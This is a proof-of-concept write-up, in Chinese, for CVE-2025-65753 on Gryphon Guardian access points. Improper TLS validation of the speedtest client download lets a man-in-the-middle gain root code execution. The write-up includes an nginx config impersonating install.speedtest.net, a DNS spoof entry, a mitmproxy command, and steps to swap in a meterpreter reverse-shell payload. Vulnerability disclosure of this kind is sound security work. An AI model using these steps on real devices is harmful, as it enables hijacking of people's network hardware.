
CVE-2025-65753 的概念验证漏洞利用:通过不正确的 TLS 证书验证在 Gryphon Guardian 接入点上实现远程代码执行,从而支持中间人攻击和 DNS 欺骗攻击。
CVE-2025-65753 的概念验证:在 Gryphon Guardian 接入点(固件版本 01.06.0006.22)上,由于 TLS 证书验证不当而导致的远程代码执行。
Gryphon Guardian WiFi 接入点(固件版本 01.06.0006.22)未能正确验证通过应用提示后下载的互联网 speedtest 客户端的 TLS 证书。此缺陷使攻击者能够拦截并操纵通信,向该客户端注入恶意代码,随后该代码会以 root 身份在接入点上执行。
利用此漏洞有两种方式:
出于此 PoC 的目的,通过桥接 2 个网络接口,将来自接入点的流量经攻击者的计算机路由(基本上就是 MitM 攻击),如下图所示。

为此,同时还将 TCP 流量重定向到本地端口 9900 进行分析,我使用了自己的工具:https://github.com/diegovargasj/bridge-interfaces

接下来,我使用 aapooksman 的 certmitm 工具 来分析 TLS 连接,并自动部署多种攻击来测试证书验证。这揭示了多个服务器存在的多个缺陷。其中引起我注意的是来自 https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz 的 speedtest 客户端下载,它可以用一个简单的自签名证书进行拦截。

该 tarball 包含一个 32 位 ARM 编译的 ELF 文件,设备显然会将其下载、解包并执行。

该设备不验证 TLS 证书的真实性,因为它会直接接受一个简单的自签名证书。因此,通过部署 HTTPS 服务器并为 install.speedtest.net 伪造 DNS 响应,你可以提供任意选择的可执行文件。为此,只需使用以下 nginx 配置:
server {
listen 443 ssl default_server;
server_name install.speedtest.net;
ssl_certificate /path/to/self_signed_cert.pem;
ssl_certificate_key /path/to/self_signed_key.pem;
root /path/to/webroot;
}
接下来,将以下行添加到你的 /etc/hosts 文件中,以通过 dnsmasq 伪造 DNS 响应。
192.168.0.15 install.speedtest.net
最后,重新启动 bridge-interfaces.sh 脚本,终止 certmitm.py 并运行 mitmproxy:
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k
现在我们只需要 payload。由于接入点已安装 python,一个简单的 meterpreter 脚本就足够了。使用 msfvenom 创建脚本:

将 speedtest 客户端中的原始 ELF 替换为调用 payload 的 bash 脚本:
python payload.py
并将其打包成 tarball,使用正确的路径,使其与对 https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz 的 Web 请求匹配:
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py
现在我们设置 meterpreter 监听器。从 Gryphon 应用调用 speedtest 后,我们会获得以 root 身份运行的反弹 shell。

并且我们可以在接入点内执行任意命令。
